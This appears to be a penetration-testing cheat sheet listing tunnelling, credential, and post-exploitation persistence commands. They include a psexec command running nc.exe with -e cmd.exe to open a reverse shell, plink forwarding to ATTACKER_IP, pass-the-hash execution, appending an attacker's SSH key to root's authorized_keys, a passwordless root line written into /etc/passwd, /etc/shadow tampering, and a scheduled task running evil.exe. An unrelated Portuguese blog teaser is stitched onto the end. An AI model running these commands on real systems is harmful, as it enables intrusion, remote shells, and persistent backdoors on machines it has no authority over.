ssh -L 127.0.0.1:8080:REMOTE_HOST:PORT user@SSH_SERVER

SSH: Dynamic Port Forwarding

# Listen on local port 8080. Incoming traffic to 127.0.0.1:8080 forwards it to final destination via SSH_SERVER
# Scenario: proxy your web traffic through SSH tunnel OR access hosts on internal network via a compromised DMZ box;
ssh -D 127.0.0.1:8080 user@SSH_SERVER

SSH: Remote Port Forwarding

# Open port 5555 on SSH_SERVER. Incoming traffic to SSH_SERVER:5555 is tunneled to LOCALHOST:3389
# Scenario: expose RDP on non-routable network;
ssh -R 5555:LOCAL_HOST:3389 user@SSH_SERVER
plink -R ATTACKER:ATTACKER_PORT:127.0.01:80 -l root -pw pw ATTACKER_IP

Proxy Tunnel

# Open a local port 127.0.0.1:5555. Incoming traffic to 5555 is proxied to DESTINATION_HOST through PROXY_HOST:3128
# Scenario: a remote host has SSH running, but it's only bound to 127.0.0.1, but you want to reach it;
proxytunnel -p PROXY_HOST:3128 -d DESTINATION_HOST:22 -a 5555
ssh user@127.0.0.1 -p 5555

HTTP Tunnel: SSH Over HTTP

# Server - open port 80. Redirect all incoming traffic to localhost:80 to localhost:22
hts -F localhost:22 80

# Client - open port 8080. Redirect all incoming traffic to localhost:8080 to 192.168.1.15:80
htc -F 8080 192.168.1.15:80

# Client - connect to localhost:8080 -> get tunneled to 192.168.1.15:80 -> get redirected to 192.168.1.15:22
ssh localhost -p 8080

RunAs / Start Process As

PowerShell

# Requires PSRemoting
$username = 'Administrator';$password = '1234test';$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;Invoke-Command -Credential $credential -ComputerName COMPUTER_NAME -Command { whoami }

# without PSRemoting
cmd> powershell Start-Process cmd.exe -Credential (New-Object System.Management.Automation.PSCredential 'username', (ConvertTo-SecureString 'password' -AsPlainText -Force))

# without PS Remoting, with arguments
cmd> powershell -command "start-process cmd.exe -argumentlist '/c calc' -Credential (New-Object System.Management.Automation.PSCredential 'username',(ConvertTo-SecureString 'password' -AsPlainText -Force))"

CMD

# Requires interactive console
runas /user:userName cmd.exe

PsExec

psexec -accepteula -u user -p password cmd /c c:\temp\nc.exe 10.11.0.245 80 -e cmd.exe

Pth-WinExe

pth-winexe -U user%pass --runas=user%pass //10.1.1.1 cmd.exe

Recursively Find Hidden Files: Windows

dir /A:H /s "c:\program files"

General File Search

# Query the local db for a quick file find. Run updatedb before executing locate.
locate passwd 

# Show which file would be executed in the current environment, depending on $PATH environment variable;
which nc wget curl php perl python netcat tftp telnet ftp

# Search for *.conf (case-insensitive) files recursively starting with /etc;
find /etc -iname *.conf

Post-Exploitation & Maintaining Access

Browsing Registry Hives

hivesh /registry/file

Decrypting VNC Password

wine vncpwdump.exe -k key

Creating User and Adding to Local Administrators

net user spotless spotless /add & net localgroup Administrators spotless /add

Creating SSH Authorized Keys

mkdir /root/.ssh 2>/dev/null; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChKCUsFVWj1Nz8SiM01Zw/BOWcMNs2Zwz3MdT7leLU9/Un4mZ7vjco0ctsyh2swjphWr5WZG28BN90+tkyj3su23UzrlgEu3SaOjVgxhkx/Pnbvuua9Qs9gWbWyRxexaC1eDb0pKXHH2Msx+GlyjfDOngq8tR6tkU8u1S4lXKLejaptiz0q6P0CcR6hD42IYkqyuWTNrFdSGLtiPCBDZMZ/5g1cJsyR59n54IpV0b2muE3F7+NPQmLx57IxoPjYPNUbC6RPh/Saf7o/552iOcmVCdLQDR/9I+jdZIgrOpstqSiJooU9+JImlUtAkFxZ9SHvtRbFt47iH7Sh7LiefP5 root@kali' >> /root/.ssh/authorized_keys

Creating Backdoor User w/o Password

echo 'spotless::0:0:root:/root:/bin/bash' >> /etc/passwd

# Rarely needed, but if you need to add a password to the previously created user by using useradd and passwd is not working. Pwd is "kali"
sed 's/!/\$6$o1\.HFMVM$a3hY6OPT\/DiQYy4koI6Z3\/sLiltsOcFoS5yCKhBBqQLH5K1QlHKL8\/6wJI6uF\/Q7mniOdq92v6yjzlVlXlxkT\./' /etc/shadow > /etc/s2; cat /etc/s2 > /etc/shadow; rm /etc/s2

Creating Another root User

useradd -u0 -g0 -o -s /bin/bash -p `openssl passwd yourpass` rootuser

Generating OpenSSL Password

openssl passwd -1 password 
# output $1$YKbEkrkZ$7Iy/M3exliD/yJfJVeTn5.

Persistent Back Doors


# Launch evil.exe every 10 minutes
schtasks /create /sc minute /mo 10 /tn "TaskName" /tr C:\Windows\system32\evil.exe

As inseguranças do sucesso da segurança cibernética

As inseguranças do sucesso da segurança cibernética. Tornar-se um grande profissional não precisa custar sua felicidade, mas a cultura da mo...